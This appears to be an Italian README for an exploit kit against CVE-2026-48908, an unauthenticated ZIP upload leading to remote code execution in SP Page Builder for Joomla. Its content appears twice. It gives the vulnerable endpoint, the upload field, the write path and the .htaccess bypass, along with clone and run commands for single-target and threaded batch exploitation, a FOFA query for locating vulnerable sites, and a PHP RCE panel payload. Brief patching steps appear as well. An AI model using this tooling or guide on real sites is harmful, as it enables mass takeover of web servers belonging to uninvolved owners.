CVE-2026-48908

---

📌 Özet

SP Page Builder (Joomla) — Caricamento ZIP non autenticato → RCE

Prodotto	SP Page Builder — com_sppagebuilder (JoomShaper)
Versione	≤ 6.6.1
Fixed	6.6.2+ — l'upload ora richiede admin
Auth	Unauthenticated
Vettore	POST …&task=asset.uploadCustomIcon
Campo	custom_icon (icon-font ZIP)
Percorso di scrittura	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Fix

1. Aggiornare SP Page Builder a 6.6.2+
2. /media/com_sppagebuilder/ → disabilitare l'esecuzione PHP
3. AllowOverride None — bloccare .htaccess
4. WAF: rate-limit POST ZIP su custom_icon

📦 Installazione

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

File	Ruolo
winrarzips_brand.py	Banner CMD (by winrarzips)
sppb48908_core.py	Motore exploit
CVE-2026-48908-Suite.py	CLI batch + singolo target
CVE-2026-48908.py	Wrapper singolo target
payloads/x7-panel.php	Pannello RCE
requirements.txt	Dipendenze

❌ Liste di target, risultati di scansione e URL dei pannelli non sono presenti nel repo.

🎯 Singolo target

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Batch (con la tua lista)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Tag di errore

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 Riepilogo

SP Page Builder (Joomla) — Caricamento ZIP non autenticato → RCE

Prodotto	SP Page Builder — com_sppagebuilder (JoomShaper)
Affected	≤ 6.6.1
Fixed	6.6.2+ — l'upload richiede admin
Auth	Unauthenticated
Vettore	POST …&task=asset.uploadCustomIcon
Campo	custom_icon (icon-font ZIP)
Percorso di scrittura	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Remediation

1. Aggiornare SP Page Builder a 6.6.2+
2. Disabilitare l'esecuzione PHP sotto /media/com_sppagebuilder/
3. AllowOverride None — bloccare la registrazione PHP di .htaccess
4. WAF: rate-limit degli upload ZIP su custom_icon

📦 Setup

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

File	Ruolo
winrarzips_brand.py	Banner CMD (by winrarzips)
sppb48908_core.py	Core dell'exploit
CVE-2026-48908-Suite.py	CLI batch + singolo target
CVE-2026-48908.py	Wrapper singolo target
payloads/x7-panel.php	Payload pannello RCE
requirements.txt	Dipendenze

❌ Liste di target, risultati di scansione e URL dei pannelli live non sono inclusi.

🎯 Singolo target

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Batch (la tua lista)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Tag di errore

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---